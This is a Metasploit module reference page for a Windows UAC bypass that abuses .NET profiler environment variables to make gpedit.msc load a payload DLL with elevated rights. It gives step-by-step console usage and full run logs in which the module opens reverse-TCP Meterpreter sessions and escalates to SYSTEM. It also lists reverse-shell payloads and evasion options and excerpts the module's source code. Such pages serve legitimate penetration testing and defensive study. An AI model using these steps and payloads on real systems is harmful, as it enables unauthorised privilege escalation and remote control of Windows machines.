Windows Escalate UAC Protection Bypass (Via dot net profiler) - Metasploit
This page contains detailed information about how to use the exploit/windows/local/bypassuac_dotnet_profiler metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows Escalate UAC Protection Bypass (Via dot net profiler)
Module: exploit/windows/local/bypassuac_dotnet_profiler
Source code: modules/exploits/windows/local/bypassuac_dotnet_profiler.rb
Disclosure date: 2017-03-17
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Microsoft Windows allows for the automatic loading of a profiling COM object during the launch of a CLR process based on certain environment variables ostensibly to monitor execution. In this case, we abuse the profiler by pointing to a payload DLL that will be launched as the profiling thread. This thread will run at the permission level of the calling process, so an auto-elevating process will launch the DLL with elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR process, but others would work, too.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/windows/local/bypassuac_dotnet_profiler
msf exploit(bypassuac_dotnet_profiler) > show targets
... a list of targets ...
msf exploit(bypassuac_dotnet_profiler) > set TARGET target-id
msf exploit(bypassuac_dotnet_profiler) > show options
... show and set options ...
msf exploit(bypassuac_dotnet_profiler) > set SESSION session-id
msf exploit(bypassuac_dotnet_profiler) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Introduction
Microsoft Windows allows for the automatic loading of a profiling COM object during the launch of a CLR process based on certain environment variables ostensibly to monitor execution. In this case, we abuse the profiler by pointing to a payload DLL that will be launched as the profiling thread. This thread will run at the permission level of the calling process, so an auto-elevating process will launch the DLL with elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR process, but others would work, too.
Usage
- Create a session on the target system under the context of a local administrative user.
- Begin interacting with the module:
use exploit/windows/local/bypassuac_dotnet_profiler
. - Set the
PAYLOAD
and configure it correctly. - If an existing handler is configured to receive the elevated session, then the module's
handler should be disabled:
set DisablePayloadHandler true
. - Make sure that the
SESSION
value is set to the existing session identifier. - Invoke the module:
run
.
Scenarios
Windows Windows 7 (6.1 Build 7601, Service Pack 1) x64
msf5 exploit(windows/local/bypassuac_dotnet_profiler) > run
[*] Started reverse TCP handler on 192.168.135.168:4444
[*] UAC is Enabled, checking level...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] win_dir = C:\Windows
[*] tmp_dir = C:\Users\msfuser\AppData\Local\Temp
[*] exploit_dir = C:\Windows\System32\
[*] target_filepath = C:\Windows\System32\gpedit.msc
[*] Making Payload
[*] payload_pathname = C:\Users\msfuser\AppData\Local\Temp\vehxxpkdx.dll
[*] UUID = a47dbe47-41a6-42ed-95a0-e2cc4710a75a
[*] Writing to HKCU\Software\Classes\CLSID\{a47dbe47-41a6-42ed-95a0-e2cc4710a75a}\InprocServer32
[*] Writing COR_PROFILER to HKCU\Environment
[*] Writing COR_ENABLE_PROFILING to HKCU\Environment
[*] Writing COR_PROFILER_PATH to HKCU\Environment
[*] Uploading Payload to C:\Users\msfuser\AppData\Local\Temp\vehxxpkdx.dll
[*] Payload Upload Complete
[*] Launching C:\Windows\System32\gpedit.msc
[!] This exploit requires manual cleanup of 'C:\Users\msfuser\AppData\Local\Temp\vehxxpkdx.dll!
[*] Please wait for session and cleanup....
[*] Sending stage (206403 bytes) to 192.168.132.187
[*] Meterpreter session 5 opened (192.168.135.168:4444 -> 192.168.132.187:49234) at 2019-11-15 12:14:41 -0600
[*] Removing Registry Changes
[*] Deleting HKCU\Software\Classes\CLSID\{a47dbe47-41a6-42ed-95a0-e2cc4710a75a}\InprocServer32 key
[*] Deleting COR_PROFILER from HKCU\Environment key
[*] Deleting COR_ENABLE_PROFILING from HKCU\Environment key
[*] Deleting COR_PROFILER_PATH from HKCU\Environment key
[*] Registry Changes Removed
meterpreter > sysinfo
Computer : WIN7X64-SP1
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN7X64-SP1\msfuser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Windows Windows 7 (6.1 Build 7601, Service Pack 1) x64
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_dotnet_profiler
msf5 exploit(windows/local/bypassuac_dotnet_profiler) > set session 6
session => 6
msf5 exploit(windows/local/bypassuac_dotnet_profiler) > show options
Module options (exploit/windows/local/bypassuac_dotnet_profiler):
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOAD_NAME no The filename to use for the payload binary (%RAND% by default).
SESSION 6 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.168 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
msf5 exploit(windows/local/bypassuac_dotnet_profiler) > run
[*] Started reverse TCP handler on 192.168.135.168:4444
[*] UAC is Enabled, checking level...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] win_dir = C:\Windows
[*] tmp_dir = C:\Users\msfuser\AppData\Local\Temp
[*] exploit_dir = C:\Windows\System32\
[*] target_filepath = C:\Windows\System32\gpedit.msc
[*] Making Payload
[*] payload_pathname = C:\Users\msfuser\AppData\Local\Temp\LNpAorHj.dll
[*] UUID = d472ba96-3dfc-432c-8ad2-f44ada2a39ec
[*] Writing COR_PROFILER to HKCU\Environment
[*] Writing COR_ENABLE_PROFILING to HKCU\Environment
[*] Writing COR_PROFILER_PATH to HKCU\Environment
[*] Uploading Payload to C:\Users\msfuser\AppData\Local\Temp\LNpAorHj.dll
[*] Payload Upload Complete
[*] Launching C:\Windows\System32\gpedit.msc
[!] This exploit requires manual cleanup of 'C:\Users\msfuser\AppData\Local\Temp\LNpAorHj.dll!
[*] Please wait for session and cleanup....
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 7 opened (192.168.135.168:4444 -> 192.168.132.125:49683) at 2019-11-15 12:18:54 -0600
[*] Removing Registry Changes
[*] Deleting COR_PROFILER from HKCU\Environment key
[*] Deleting COR_ENABLE_PROFILING from HKCU\Environment key
[*] Deleting COR_PROFILER_PATH from HKCU\Environment key
[*] Registry Changes Removed
meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: DESKTOP-D1E425Q\msfuser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/local/bypassuac_dotnet_profiler exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/bypassuac_dotnet_profiler
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_dotnet_profiler) > show info
Name: Windows Escalate UAC Protection Bypass (Via dot net profiler)
Module: exploit/windows/local/bypassuac_dotnet_profiler
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-03-17
Provided by:
Casey Smith
"Stefan Kanthak" <stefan.kanthak () nexgo de>
bwatters-r7
Module side effects:
artifacts-on-disk
Available targets:
Id Name
-- ----
0 Windows x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOAD_NAME no The filename to use for the payload binary (%RAND% by default).
SESSION yes The session to run this module on.
Payload information:
Description:
Microsoft Windows allows for the automatic loading of a profiling
COM object during the launch of a CLR process based on certain
environment variables ostensibly to monitor execution. In this case,
we abuse the profiler by pointing to a payload DLL that will be
launched as the profiling thread. This thread will run at the
permission level of the calling process, so an auto-elevating
process will launch the DLL with elevated permissions. In this case,
we use gpedit.msc as the auto-elevated CLR process, but others would
work, too.
References:
https://seclists.org/fulldisclosure/2017/Jul/11
https://offsec.provadys.com/UAC-bypass-dotnet.html
Module Options
This is a complete list of options available in the windows/local/bypassuac_dotnet_profiler exploit:
msf6 exploit(windows/local/bypassuac_dotnet_profiler) > show options
Module options (exploit/windows/local/bypassuac_dotnet_profiler):
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOAD_NAME no The filename to use for the payload binary (%RAND% by default).
SESSION yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
Advanced Options
Here is a complete list of advanced options supported by the windows/local/bypassuac_dotnet_profiler exploit:
msf6 exploit(windows/local/bypassuac_dotnet_profiler) > show advanced
Module advanced options (exploit/windows/local/bypassuac_dotnet_profiler):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/bypassuac_dotnet_profiler module can exploit:
msf6 exploit(windows/local/bypassuac_dotnet_profiler) > show targets
Exploit targets:
Id Name
-- ----
0 Windows x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/bypassuac_dotnet_profiler exploit:
msf6 exploit(windows/local/bypassuac_dotnet_profiler) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
37 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
38 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
39 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
40 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
41 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
42 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
43 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
44 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
45 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
46 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
47 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
48 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
49 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
50 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
51 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
52 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
53 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
55 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
56 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
57 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
58 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
59 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
60 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
61 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/bypassuac_dotnet_profiler exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/bypassuac_dotnet_profiler) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Unable to clean up registry
- UAC set to DoNotPrompt - using ShellExecute "runas" method instead
- This exploit requires manual cleanup of '<PAYLOAD_PATHNAME>!
- Target is not vulnerable.
- Already in elevated state
- Either whoami is not there or failed to execute
- Continuing under assumption you already checked...
- Not in admins group, cannot escalate with this module
- Cannot BypassUAC from Low Integrity Level
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to clean up registry
Here is a relevant code snippet related to the "Unable to clean up registry" error message:
89: else
90: vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
91: registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
92: end
93: rescue Rex::Post::Meterpreter::RequestError => e
94: print_bad("Unable to clean up registry")
95: print_error(e.to_s)
96: end
97: end
98:
99: def exploit
UAC set to DoNotPrompt - using ShellExecute "runas" method instead
Here is a relevant code snippet related to the "UAC set to DoNotPrompt - using ShellExecute "runas" method instead" error message:
106: "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
107: when UAC_DEFAULT
108: print_good('UAC is set to Default')
109: print_good('BypassUAC can bypass this setting, continuing...')
110: when UAC_NO_PROMPT
111: print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
112: shell_execute_exe
113: return
114: end
115:
116: # get directory locations straight
This exploit requires manual cleanup of '<PAYLOAD_PATHNAME>!
Here is a relevant code snippet related to the "This exploit requires manual cleanup of '<PAYLOAD_PATHNAME>!" error message:
169: begin
170: session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
171: rescue Rex::Post::Meterpreter::RequestError => e
172: print_error(e.to_s)
173: end
174: print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
175: # wait for a few seconds before cleaning up
176: print_status("Please wait for session and cleanup....")
177: sleep(20)
178: vprint_status("Removing Registry Changes")
179: reg_keys.each do |key_hash|
Target is not vulnerable.
Here is a relevant code snippet related to the "Target is not vulnerable." error message:
182: vprint_status("Registry Changes Removed")
183: end
184:
185: def check_permissions!
186: unless check == Exploit::CheckCode::Appears
187: fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
188: end
189: fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
190: # Check if you are an admin
191: # is_in_admin_group can be nil, true, or false
192: print_status('UAC is Enabled, checking level...')
Already in elevated state
Here is a relevant code snippet related to the "Already in elevated state" error message:
184:
185: def check_permissions!
186: unless check == Exploit::CheckCode::Appears
187: fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
188: end
189: fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
190: # Check if you are an admin
191: # is_in_admin_group can be nil, true, or false
192: print_status('UAC is Enabled, checking level...')
193: vprint_status('Checking admin status...')
194: admin_group = is_in_admin_group?
Either whoami is not there or failed to execute
Here is a relevant code snippet related to the "Either whoami is not there or failed to execute" error message:
191: # is_in_admin_group can be nil, true, or false
192: print_status('UAC is Enabled, checking level...')
193: vprint_status('Checking admin status...')
194: admin_group = is_in_admin_group?
195: if admin_group.nil?
196: print_error('Either whoami is not there or failed to execute')
197: print_error('Continuing under assumption you already checked...')
198: else
199: if admin_group
200: print_good('Part of Administrators group! Continuing...')
201: else
Continuing under assumption you already checked...
Here is a relevant code snippet related to the "Continuing under assumption you already checked..." error message:
192: print_status('UAC is Enabled, checking level...')
193: vprint_status('Checking admin status...')
194: admin_group = is_in_admin_group?
195: if admin_group.nil?
196: print_error('Either whoami is not there or failed to execute')
197: print_error('Continuing under assumption you already checked...')
198: else
199: if admin_group
200: print_good('Part of Administrators group! Continuing...')
201: else
202: fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
Not in admins group, cannot escalate with this module
Here is a relevant code snippet related to the "Not in admins group, cannot escalate with this module" error message:
197: print_error('Continuing under assumption you already checked...')
198: else
199: if admin_group
200: print_good('Part of Administrators group! Continuing...')
201: else
202: fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
203: end
204: end
205:
206: if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
207: fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
Cannot BypassUAC from Low Integrity Level
Here is a relevant code snippet related to the "Cannot BypassUAC from Low Integrity Level" error message:
200: print_good('Part of Administrators group! Continuing...')
201: else
202: fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
203: end
204: end
205:
206: if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
207: fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
208: end
209: end
210: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12516 Merged Pull Request: Add Windows Escalate UAC Protection Bypass (Via dot net profiler)
References
- CVE: Not available
- https://seclists.org/fulldisclosure/2017/Jul/11
- https://offsec.provadys.com/UAC-bypass-dotnet.html
See Also
Check also the following modules related to this module:
- exploit/windows/local/bypassuac_comhijack
- exploit/windows/local/bypassuac_eventvwr
- exploit/windows/local/bypassuac_fodhelper
- exploit/windows/local/bypassuac_injection
- exploit/windows/local/bypassuac_injection_winsxs
- exploit/windows/local/bypassuac_sdclt
- exploit/windows/local/bypassuac_silentcleanup
- exploit/windows/local/bypassuac_sluihijack
- exploit/windows/local/bypassuac_vbs
- exploit/windows/local/bypassuac_windows_store_filesys
- exploit/windows/local/bypassuac_windows_store_reg
- exploit/windows/local/bypassuac
- exploit/linux/http/riverbed_netprofiler_netexpress_exec
- exploit/windows/http/flexdotnetcms_upload_exec
- post/windows/manage/execute_dotnet_assembly
Authors
- Casey Smith
- "Stefan Kanthak" <stefan.kanthak () nexgo de>
- bwatters-r7
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.